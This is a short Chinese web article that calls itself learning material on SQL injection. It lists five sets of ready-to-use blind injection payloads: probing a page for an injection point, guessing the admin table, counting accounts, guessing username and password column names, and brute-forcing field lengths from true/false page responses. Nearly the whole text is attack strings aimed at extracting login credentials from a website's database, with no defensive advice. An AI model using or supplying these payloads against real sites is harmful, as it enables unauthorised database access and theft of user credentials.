现在的位置: 首页黑客安全 > 正文
SQL注入语句五例
关键词:无 ┊ 来源: 原创收藏

SQL注入语句是学习SQL语句过程中需要掌握的知识,下面就为您介绍5个标准的SQL注入语句,希望对您了解SQL注入语句有所帮助。

1.判断有无注入点

  1. '
  2. and 1=1
  3. and 1=2 

2.猜表一般的表的名称无非是admin adminuser user pass password 等..

  1. and 0<>(select count(*) from *)  
  2. and 0<>(select count(*) from admin) ---判断是否存在admin这张表 

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

  1. and 0<(select count(*) from admin)  
  2. and 1<(select count(*) from admin) 

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

  1. and 1=(select count(*) from admin where len(*)>0)--  
  2. and 1=(select count(*) from admin where len(用户字段名称name)>0)   
  3. and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0) 

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

  1. and 1=(select count(*) from admin where len(*)>0)   
  2. and 1=(select count(*) from admin where len(name)>6) 错误  
  3. and 1=(select count(*) from admin where len(name)>5) 正确 长度是6  
  4. and 1=(select count(*) from admin where len(name)=6) 正确  
  5.  
  6. and 1=(select count(*) from admin where len(password)>11) 正确  
  7. and 1=(select count(*) from admin where len(password)>12) 错误 长度是12  
  8. and 1=(select count(*) from admin where len(password)=12) 正确 
相关文章
    暂无相关文章
本文由 jack 发布于 1853天 19小时 9分钟前,目前已有 2046 人浏览
欢迎大家转载分享,请注明来源及链接;商业媒体转载请获得授权,谢谢合作!
 

添加评论